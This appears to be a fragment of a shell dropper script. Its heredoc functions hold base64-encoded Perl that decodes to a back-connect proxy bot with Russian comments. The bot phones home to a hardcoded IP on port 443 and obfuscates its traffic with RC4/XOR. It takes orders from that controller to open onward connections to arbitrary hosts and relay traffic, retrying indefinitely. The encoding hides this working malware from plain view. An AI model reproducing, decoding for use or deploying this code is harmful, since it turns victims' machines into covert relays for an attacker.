YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_60() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
